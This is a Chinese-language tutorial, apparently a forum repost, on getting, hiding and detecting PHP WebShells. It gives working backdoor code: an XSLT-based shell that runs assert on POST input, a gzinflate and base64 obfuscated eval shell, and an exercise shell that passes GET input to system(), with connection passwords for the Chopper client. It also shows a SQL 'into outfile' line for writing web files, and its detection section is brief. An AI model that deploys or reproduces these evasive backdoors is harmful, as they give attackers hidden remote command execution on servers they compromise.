【滲透攻防】千變萬化的WebShell


前言
WebShell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門。本篇文章將帶大家學習如何獲取WebShell,如何隱藏WebShell,有攻必有防,最后帶大家學習查殺WebShell。


目錄

 

  • 第一節 CMS獲取WebShell
  • 第二節 非CMS獲取WebShell
  • 第三節 基於xslt轉換的WebShell
  • 第四節 代碼混淆隱藏WebShell
  • 第五節 防御篇-查殺WebShell

 

正文



  • 第一節 CMS獲取WebShell


1.1、什么是CMS?
CMS是Content Management System的縮寫,意為"內容管理系統"。 內容管理系統是企業信息化建設和電子政務的新寵,也是一個相對較新的市場。對於內容管理,業界還沒有一個統一的定義,不同的機構有不同的理解。

 

1.2、常見的CMS有哪些?

  • asp平台動易CMS、創力CMS、科汛CMS、新雲CMS;
  • php平台:phpcms、織夢CMS、帝國CMS、php168 CMS;
  • ASP.NET平台:Zoomla!逐浪CMS、動易CMS、風訊CMS、We7 CMS;


1.3、CMS獲取WebShell方法

公開漏洞途徑:以PHPCMS為例:
我們可以利用搜索引擎來查找互聯網上公開的通用漏洞,如果目標站點並沒有進行修復,即可輕松獲取WebShell。

 

代碼審計途徑:
有很多CMS其實是開源的,我們可以在官網下載到源碼,然后進行代碼審計,自己挖掘漏洞, 來獲取WebShell。關於代碼審計的教程篇幅太長,這里就不做更多介紹,我會單獨寫一篇系列文章進行講解。

 

  • 第二節 非CMS獲取WebShell



2.1、上傳漏洞獲取WebShell

文件上傳漏洞主要有以下幾種情況:

  • MIME類型繞過漏洞
  • 文件擴展名繞過漏洞
  • 文件內容檢測繞過類上傳漏洞
  • 空字節截斷目錄路徑檢測繞過類上傳漏洞  


解析導致的文件上傳漏洞:

  • IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
  • Apache站上的解析缺陷繞過上傳漏洞
  • htaccess文件上傳解析漏洞  




還有一些編輯器存在漏洞導致的文件上傳,比如FCK編輯器。


具體請看i春秋學院視頻,還可以做實驗,鏈接如下:
非法文件上傳漏洞技術解析及防御

2.2、SQL注入獲取WebShell

利用SQL注入攻擊獲取WebShell其實就是在向服務器寫文件。(注意:這里我們需要得到網站的絕對路徑)所有常用的關系數據庫管理系統(RDBMS)均包含內置的向服務器文件系統寫文件的功能。

MySQL:

select into outfile(dumpfile)  //MySQL寫文件命令

例如:

select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";

 

那么其它關系數據庫管理系統同樣的原理寫文件,就不在過多介紹了。


2.3、數據庫備份獲取WebShell

利用數據庫備份獲取WebShell,恰好i春秋有相關的實驗,我也發過相關的教程,這里就不介紹了,大家去看看吧,第三步就是利用數據庫備份拿WebShell。
2015中國網絡安全大賽:越權訪問真題

配套實驗地址:(進去后選擇越權訪問點擊START就行了)
2015中國網絡安全大賽


  • 第三節 基於xslt轉換的WebShell



3.1、什么是xslt?

在了解什么是xslt之前,我們需要先了解什么是xsl,XSL是可擴展樣式表語言的外語縮寫,是一種用於以可讀格式呈現 XML(標准通用標記語言的子集)數據的語言。
XSL - 不僅僅是樣式表語言
XSL 包括三部分:
XSLT - 一種用於轉換 XML 文檔的語言。
XPath - 一種用於在 XML 文檔中導航的語言。
XSL-FO - 一種用於格式化 XML 文檔的語言。

那么看到這里相信大家已經了解到xslt是xsl的一部分。


3.2、在PHP下基於xslt轉換來隱藏WebShell

怎么在php下使用xsl呢?我教大家的都是可以自己學習的方法,既然要使用php,我們肯定要去看php的官方手冊,我們去搜索xsl

 

定位到XSLTProcessor類,可以發現registerPHPFunctions方法,如果你根本不懂這些方法,不要緊,看后面的英文介紹,如果你說你不懂英文,不要緊啊,不有google翻譯,拿去翻譯一下

 

Enables the ability to use PHP functions as XSLT functions

我們點進去,可以發現里面有事例,很簡單,建議大家去看看啊。PHP手冊地址見下面的參考資料

我們先來看看官方事例:

 

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">          //這個命名空間URI表示php專用的xsl函數支持
<xsl:output method="html" encoding="utf-8" indent="yes"/>
 <xsl:template match="allusers">
  <html><body>
    <h2>Users</h2>
    <table>
    <xsl:for-each select="user">
      <tr><td>
        <xsl:value-of
             select="php:function('ucfirst',string(uid))"/>     //php:function('assert',string(.))表示將匹配節點的文本作為參數傳遞給php的assert函數。
      </td></tr>
    </xsl:for-each>
    </table>
  </body></html>
 </xsl:template>
</xsl:stylesheet>

 

那么搞懂了以上這些知識,那就很簡單了。

為了避免xml的轉義問題,進行一次assert嵌套,最終WebShell如下:

 

<?php
$xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">
 <xsl:template match="/ichunqiu">
    <xsl:value-of select="icq:function(\'assert\',string(.))"/>
 </xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?> 

 

可以直接用菜刀連接:(密碼:zusheng

 

參考資料:



  • 第四節 代碼混淆隱藏WebShell


代碼混淆隱藏WebShell也就是通過編碼和壓縮惡意代碼的方式來隱藏WebShell。

這里我們使用gzinflate+Base64加密,來隱藏WebShell。

 

<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>

 

可以直接用菜刀連接:(密碼:zusheng


  • 第五節 防御篇-查殺WebShell


5.1、WebShell的分類

 

5.2、安全工具
D盾:

 

下載地址:免費下載

 

360主機衛士:
提供在線監測,把網站打包成zip上傳就行了
http://zhuji.360.cn/backdoor

小實驗

學完上述知識,大家是不是想動手來試試了呢,來個小實驗。


我們先新建一個php文件


文件內容如下:

 

<?php
if (isset($_GET["cmd"]))
{
array_diff_ukey(@array($_GET['cmd']=>1),@array('user'=>2),'system');
}
?>

 

使用gzinflate+Base64加密,來隱藏WebShell。
使之能正常運行。


結束語

作為一名黑客,在你取得成功的問題上沒有什么訣竅可尋,只有你越努力工作,你才能越接近成功。

 

文章首鏈:http://bbs.ichunqiu.com/thread-8907-1-1.html?from=bkycold


感謝您的閱讀,如果您學到了,請點贊(碼字不易)!


歡迎熱心園友補充!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM